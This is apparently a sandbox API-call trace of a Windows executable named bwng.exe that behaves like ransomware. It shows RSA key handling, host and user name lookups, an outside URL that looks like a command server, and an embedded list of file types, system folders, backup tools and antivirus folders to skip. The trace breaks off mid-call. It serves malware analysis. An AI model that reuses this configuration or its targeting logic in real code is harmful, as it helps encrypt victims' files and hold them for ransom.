[0029.541] GetCurrentThreadId () returned 0x5b0 [0029.541] GetCurrentThreadId () returned 0x5b0 [0029.541] GetCurrentThreadId () returned 0x5b0 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dca378, cbMultiByte=402, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 402 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dca378, cbMultiByte=402, lpWideCharStr=0x1dc421c, cchWideChar=402 | out: lpWideCharStr="1536\r\n5DC40BF53542182C8C684E51232980C956A22CE7A79CADC89E3628BC2B444AA832CEFF2E54A970BABDF5259265FBC2979FDDD5DAD82D4D783D7CD0B3BBC709325BEDA0D98D40A251DAE49C42B8EC22B1934A5F3B76EEDBF42433030AB262B4812FBD8563DE5AEA73B4F4D3D53BE022F00FE2B577F358CCF87346C6F430B32B13A0AE8E87ECA3DC662F45ECA37BEC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5\r\n00010001\r\n") returned 402 [0029.542] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5DC40BF53542182C8C684E51232980C956A22CE7A79CADC89E3628BC2B444AA832CEFF2E54A970BABDF5259265FBC2979FDDD5DAD82D4D783D7CD0B3BBC709325BEDA0D98D40A251DAE49C42B8EC22B1934A5F3B76EEDBF42433030AB262B4812FBD8563DE5AEA73B4F4D3D53BE022F00FE2B577F358CCF87346C6F430B32B13A0AE8E87ECA3DC662F45ECA37BEC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5", cchWideChar=384, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 384 [0029.542] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5DC40BF53542182C8C684E51232980C956A22CE7A79CADC89E3628BC2B444AA832CEFF2E54A970BABDF5259265FBC2979FDDD5DAD82D4D783D7CD0B3BBC709325BEDA0D98D40A251DAE49C42B8EC22B1934A5F3B76EEDBF42433030AB262B4812FBD8563DE5AEA73B4F4D3D53BE022F00FE2B577F358CCF87346C6F430B32B13A0AE8E87ECA3DC662F45ECA37BEC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5", cchWideChar=384, lpMultiByteStr=0x1dc421c, cbMultiByte=384, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5DC40BF53542182C8C684E51232980C956A22CE7A79CADC89E3628BC2B444AA832CEFF2E54A970BABDF5259265FBC2979FDDD5DAD82D4D783D7CD0B3BBC709325BEDA0D98D40A251DAE49C42B8EC22B1934A5F3B76EEDBF42433030AB262B4812FBD8563DE5AEA73B4F4D3D53BE022F00FE2B577F358CCF87346C6F430B32B13A0AE8E87ECA3DC662F45ECA37BEC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5", lpUsedDefaultChar=0x0) returned 384 [0029.542] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="00010001", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.542] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="00010001", cchWideChar=8, lpMultiByteStr=0x1e62ccc, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="00010001", lpUsedDefaultChar=0x0) returned 8 [0029.542] GetCurrentThreadId () returned 0x5b0 [0029.542] GetCurrentThreadId () returned 0x5b0 [0029.542] GetCurrentThreadId () returned 0x5b0 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dc421c, cbMultiByte=384, lpWideCharStr=0x18e60c, cchWideChar=2047 | out: lpWideCharStr="5DC40BF53542182C8C684E51232980C956A22CE7A79CADC89E3628BC2B444AA832CEFF2E54A970BABDF5259265FBC2979FDDD5DAD82D4D783D7CD0B3BBC709325BEDA0D98D40A251DAE49C42B8EC22B1934A5F3B76EEDBF42433030AB262B4812FBD8563DE5AEA73B4F4D3D53BE022F00FE2B577F358CCF87346C6F430B32B13A0AE8E87ECA3DC662F45ECA37BEC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5") returned 384 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dc421c, cbMultiByte=256, lpWideCharStr=0x18e2ac, cchWideChar=2047 | out: lpWideCharStr="494DCEE6F0485AF8DE6D74BD45E6A30D086343DD435A33FDD9659B4281B645AE613BC499AD84F8058C8FAA5A8A88315AC9C533C5E399EC312622FD1825120ECF44D6F7312D7EC38A6A120B10117A0950BB5D8E438FC849BE23EF3F2052F3E35FC4BA3B23DCE173D0146E0D19C31EB262354A3ABF6F736F7A4E58F47DF1FD5251") returned 256 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dc421c, cbMultiByte=384, lpWideCharStr=0x18e2ac, cchWideChar=2047 | out: lpWideCharStr="5DC40BF53542182C8C684E51232980C956A22CE7A79CADC89E3628BC2B444AA832CEFF2E54A970BABDF5259265FBC2979FDDD5DAD82D4D783D7CD0B3BBC709325BEDA0D98D40A251DAE49C42B8EC22B1934A5F3B76EEDBF42433030AB262B4812FBD8563DE5AEA73B4F4D3D53BE022F00FE2B577F358CCF87346C6F430B32B13A0AE8E87ECA3DC662F45ECA37BEC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5๤忣발滎\x18륰@Ӥ") returned 384 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dc421c, cbMultiByte=256, lpWideCharStr=0x18e2e0, cchWideChar=2047 | out: lpWideCharStr="494DCEE6F0485AF8DE6D74BD45E6A30D086343DD435A33FDD9659B4281B645AE613BC499AD84F8058C8FAA5A8A88315AC9C533C5E399EC312622FD1825120ECF44D6F7312D7EC38A6A120B10117A0950BB5D8E438FC849BE23EF3F2052F3E35FC4BA3B23DCE173D0146E0D19C31EB262354A3ABF6F736F7A4E58F47DF1FD5251EC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5๤忣발滎\x18륰@Ӥ") returned 256 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dc421c, cbMultiByte=256, lpWideCharStr=0x18e2e0, cchWideChar=2047 | out: lpWideCharStr="48043B5B4381B26E8207C30318A388590B7E8A73DCF1C7D68338819A8B590988525AA7C1DB69A149C2587AA2CD2B1461FF8CD05A804AFE7322E68904A996DE18AFE5BB50A6827F2A598B26507CD522AF7D569E8E031769E79EF86F6288A3EE2FE75090D6105F2D0F55374A70D33CD65BE0D364DEF2267926666584174D216169EC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5๤忣발滎\x18륰@Ӥ") returned 256 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e62cec, cbMultiByte=8, lpWideCharStr=0x18e2e0, cchWideChar=2047 | out: lpWideCharStr="000100014381B26E8207C30318A388590B7E8A73DCF1C7D68338819A8B590988525AA7C1DB69A149C2587AA2CD2B1461FF8CD05A804AFE7322E68904A996DE18AFE5BB50A6827F2A598B26507CD522AF7D569E8E031769E79EF86F6288A3EE2FE75090D6105F2D0F55374A70D33CD65BE0D364DEF2267926666584174D216169EC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5๤忣발滎\x18륰@Ӥ") returned 8 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dc421c, cbMultiByte=128, lpWideCharStr=0x18e2e0, cchWideChar=2047 | out: lpWideCharStr="E23B053E92548CC815ED7B0E722B54E5938A28B77CC0561BF3EB0FCDC23CFE689154082BA96EE0D91D32B6ABA0DA433E070F03C5DEB7F39FF45D255106B3F10BAFE5BB50A6827F2A598B26507CD522AF7D569E8E031769E79EF86F6288A3EE2FE75090D6105F2D0F55374A70D33CD65BE0D364DEF2267926666584174D216169EC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5๤忣발滎\x18륰@Ӥ") returned 128 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dc421c, cbMultiByte=128, lpWideCharStr=0x18e2e0, cchWideChar=2047 | out: lpWideCharStr="52F32E9EC6C2E90648B3AB01449176CBB589E370FBAFA7FF61C9B64BECDC5E7B3D09043995F5DF599802F78BC7C4399AF8AD5E12DD5C4AEFBC80748F08D15B93AFE5BB50A6827F2A598B26507CD522AF7D569E8E031769E79EF86F6288A3EE2FE75090D6105F2D0F55374A70D33CD65BE0D364DEF2267926666584174D216169EC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5๤忣발滎\x18륰@Ӥ") returned 128 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dcb78c, cbMultiByte=256, lpWideCharStr=0x18e2e0, cchWideChar=2047 | out: lpWideCharStr="494DCEE6F0485AF8DE6D74BD45E6A30D086343DD435A33FDD9659B4281B645AE613BC499AD84F8058C8FAA5A8A88315AC9C533C5E399EC312622FD1825120ECE0FA8C353D4674DBC0B70E5005ABD3D9F7249821B17584BA2CE3A7906A3DA867BF65D2EBE9D7CB39D5F385EE25A803589358DD8E6B35F30EA9D7B5A9DE27805B4EC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5๤忣발滎\x18륰@Ӥ") returned 256 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dc421c, cbMultiByte=128, lpWideCharStr=0x18e2e0, cchWideChar=2047 | out: lpWideCharStr="71D3FE84883E1083D03CA8511172EA09855DDBB4CF093B8A5F0563F3448B49FAB53CD1CB9E39D2DA8B4D6C0A192A18F149BDED490F12017BF70932F07CEDE7170FA8C353D4674DBC0B70E5005ABD3D9F7249821B17584BA2CE3A7906A3DA867BF65D2EBE9D7CB39D5F385EE25A803589358DD8E6B35F30EA9D7B5A9DE27805B4EC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5๤忣발滎\x18륰@Ӥ") returned 128 [0029.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dc421c, cbMultiByte=128, lpWideCharStr=0x18e2e0, cchWideChar=2047 | out: lpWideCharStr="0102E3FB9D92BCC28DDA5AE85E0CA3F521D67786661B232232F0019FF5584E729430EAF344C7C59C53051E3D7F06FE68CC4558D3440D9F00433D11AEB8BDCCAF0FA8C353D4674DBC0B70E5005ABD3D9F7249821B17584BA2CE3A7906A3DA867BF65D2EBE9D7CB39D5F385EE25A803589358DD8E6B35F30EA9D7B5A9DE27805B4EC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5๤忣발滎\x18륰@Ӥ") returned 128 [0029.542] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x0, lpMultiByteStr=0x1e62ccc, cbMultiByte=8, lpWideCharStr=0x18e2e0, cchWideChar=2047 | out: lpWideCharStr="000000009D92BCC28DDA5AE85E0CA3F521D67786661B232232F0019FF5584E729430EAF344C7C59C53051E3D7F06FE68CC4558D3440D9F00433D11AEB8BDCCAF0FA8C353D4674DBC0B70E5005ABD3D9F7249821B17584BA2CE3A7906A3DA867BF65D2EBE9D7CB39D5F385EE25A803589358DD8E6B35F30EA9D7B5A9DE27805B4EC7AC69A2C82589671A2746640657FC2C829579669848DEBF652FE840392A27BA477C3546FDB0CB6F8683AAAAEA7228B27C2B5๤忣발滎\x18륰@Ӥ") returned 8 [0029.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[DONE]: ", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[DONE]: ", cchWideChar=8, lpMultiByteStr=0x1e62a8c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[DONE]: ", lpUsedDefaultChar=0x0) returned 8 [0029.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="494DCEE6F0485AF8", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0029.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="494DCEE6F0485AF8", cchWideChar=16, lpMultiByteStr=0x1e785b4, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="494DCEE6F0485AF8", lpUsedDefaultChar=0x0) returned 16 [0029.604] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x4e8618, cbMultiByte=1, lpWideCharStr=0x18eb88, cchWideChar=2047 | out: lpWideCharStr="\rpﮤ\x18\x18\x18") returned 1 [0029.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0029.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x1e6a0b4, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r", lpUsedDefaultChar=0x0) returned 1 [0029.604] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x4e8618, cbMultiByte=1, lpWideCharStr=0x18eb88, cchWideChar=2047 | out: lpWideCharStr="\npﮤ\x18\x18\x18") returned 1 [0029.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0029.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x1e6a0b4, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0029.604] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x18fba8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x18fba8*=0x1a, lpOverlapped=0x0) returned 1 [0029.606] ExpandEnvironmentStringsW (in: lpSrc="%COMPUTERNAME%", lpDst=0x1dc41fc, nSize=0x8000 | out: lpDst="XDUWTFONO") returned 0xa [0029.606] ExpandEnvironmentStringsW (in: lpSrc="%USERNAME%", lpDst=0x1dc41fc, nSize=0x8000 | out: lpDst="5p5NrGJn0jS HALPmcxz") returned 0x15 [0029.606] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e62a8c, cbMultiByte=12, lpWideCharStr=0x18ead4, cchWideChar=2047 | out: lpWideCharStr="BWNG_api_key\x01") returned 12 [0029.606] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=21, lpWideCharStr=0x18ead0, cchWideChar=2047 | out: lpWideCharStr="http://ghb.timerz.org畃\x18ﮤ\x18\x01") returned 21 [0029.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70df0, dwCreationFlags=0x4, lpThreadId=0x1e8e264 | out: lpThreadId=0x1e8e264*=0x6c8) returned 0x12c [0029.606] SetThreadPriority (hThread=0x12c, nPriority=0) returned 1 [0029.606] ResumeThread (hThread=0x12c) returned 0x1 [0029.606] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0029.607] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e6a09c, cbMultiByte=4, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="BWNG\x01") returned 4 [0029.607] FindResourceW (hModule=0x400000, lpName="NDNF", lpType=0xa) returned 0x4f5480 [0029.607] LoadResource (hModule=0x400000, hResInfo=0x4f5480) returned 0x5262f8 [0029.607] SizeofResource (hModule=0x400000, hResInfo=0x4f5480) returned 0x548 [0029.607] LockResource (hResData=0x5262f8) returned 0x5262f8 [0029.607] FreeResource (hResData=0x5262f8) returned 0 [0029.607] FindResourceW (hModule=0x400000, lpName="KN", lpType=0xa) returned 0x4f5450 [0029.607] LoadResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x5260dc [0029.607] SizeofResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x26 [0029.607] LockResource (hResData=0x5260dc) returned 0x5260dc [0029.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb1c90, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0029.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb1c90, cbMultiByte=38, lpWideCharStr=0x1e8e20c, cchWideChar=38 | out: lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps\r\n42\r\n") returned 38 [0029.607] FreeResource (hResData=0x5260dc) returned 0 [0029.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0029.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x1eb1c94, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", lpUsedDefaultChar=0x0) returned 32 [0029.607] GetCurrentThreadId () returned 0x5b0 [0029.607] GetCurrentThreadId () returned 0x5b0 [0029.607] GetCurrentThreadId () returned 0x5b0 [0029.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e15458, cbMultiByte=1352, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1352 [0029.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e15458, cbMultiByte=1352, lpWideCharStr=0x1dc41fc, cchWideChar=1352 | out: lpWideCharStr="[NF_START]\r\nVBS\r\nRTF\r\nBMP\r\nTMP\r\nRDP\r\nSEK\r\nICO\r\nDLL\r\nBLF\r\nRBS\r\nREGTRANS-MS\r\nSETTINGCONTENT-MS\r\nSEARCH-MS\r\nLOG\r\nXML\r\nLOG1\r\nLOG2\r\n[NF_END]\r\n[ND_START]\r\n\\PERFLOGS\\\r\n\\WINDOWS\\\r\n\\WINDOWS.OLD\\\r\n\\WINDOWS10UPGRADE\\\r\n\\$RECYCLE.BIN\\\r\n\\WINDOWS NT\\\r\n\\COMMON FILES\\\r\n\\TEMP\\\r\n\\BOOT\\\r\n\\MSOCACHE\\\r\n\\DEFAULT USER\\\r\nFILES\\ACRONIS\\\r\n(X86)\\ACRONIS\\\r\nFILES\\BACKUPCLIENT\\\r\n(X86)\\BACKUPCLIENT\\\r\nFILES\\BACKUP MANAGER\\\r\n(X86)\\BACKUP MANAGER\\\r\nFILES\\CARBONITE\\\r\n(X86)\\CARBONITE\\\r\nFILES\\GOOGLE\\DRIVE\\\r\n(X86)\\GOOGLE\\DRIVE\\\r\nFILES\\DROPBOX\\\r\n(X86)\\DROPBOX\\\r\nFILES\\MICROSOFT ONEDRIVE\\\r\n(X86)\\MICROSOFT ONEDRIVE\\\r\nFILES\\ONEDRIVE\\\r\n(X86)\\ONEDRIVE\\\r\nVNC\\\r\n\\INTERNET EXPLORER\\\r\n\\MICROSOFT\\OFFICE\\\r\n\\MICROSOFT OFFICE\\\r\n\\WINDOWS SIDEBAR\\\r\n\\WINDOWS MEDIA PLAYER\\\r\n\\DVD MAKER\\\r\n\\WINDOWSPOWERSHELL\\\r\n\\WINDOWS DEFENDER\\\r\n\\TOR BROWSER\\\r\n\\ASPNET_CLIENT\\\r\n\\REFERENCE ASSEMBLIES\\\r\n\\MICROSOFT\\PROVISIONING\\\r\n\\MICROSOFT SILVERLIGHT\\\r\n\\PROGRAMDATA\\MICROSOFT\\\r\n\\MICROSOFT\\CRYPTO\\\r\n\\WINDOWSAPPS\\\r\n\\7-ZIP\\\r\n\\WINRAR\\\r\n\\ESET\r\n\\AVAST\r\n\\MALWAREBYTES\r\n\\SYMANTEC ENDPOINT\r\n\\TREND MICRO\r\n\\BITDEFENDER\r\n\\PANDA SECURITY\r\n\\MCAFEE\r\n\\KASPERSKY LAB\r\n\\KASPERSKYLAB\r\n\\AVDEFENDER\r\n\\SOPHOS\r\n\\AVG\r\n[ND_END]\r\n[FEX_START]\r\nNTUSER.DAT\r\nNTUSER.POL\r\nNTUSER.DAT.LOG\r\nNTUSER.DAT.LOG1\r\nNTUSER.DAT.LOG2\r\nICONCACHE.DB\r\nTHUMBS.DB\r\nBOOTSECT.BAK\r\nBOOTMGR\r\nDEFAULT.RDP\r\nPAGEFILE.SYS\r\nHIBERFIL.SYS\r\nSWAPFILE.SYS\r\nWORDPAD.EXE\r\n[FEX_END]\r\n") returned 1352 [0029.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_START]", cchCount1=10, lpString2="[NF_START]", cchCount2=10) returned 2 [0029.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_START]", cchCount1=10, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="[NF_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_END]", cchCount1=8, lpString2="[NF_END]", cchCount2=8) returned 2 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_START]", cchCount1=10, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_END]", cchCount1=8, lpString2="[ND_START]", cchCount2=10) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[ND_START]", cchCount1=10, lpString2="[ND_START]", cchCount2=10) returned 2 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[NF_START]", cchCount1=10, lpString2="[ND_END]", cchCount2=8) returned 3 [0029.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", 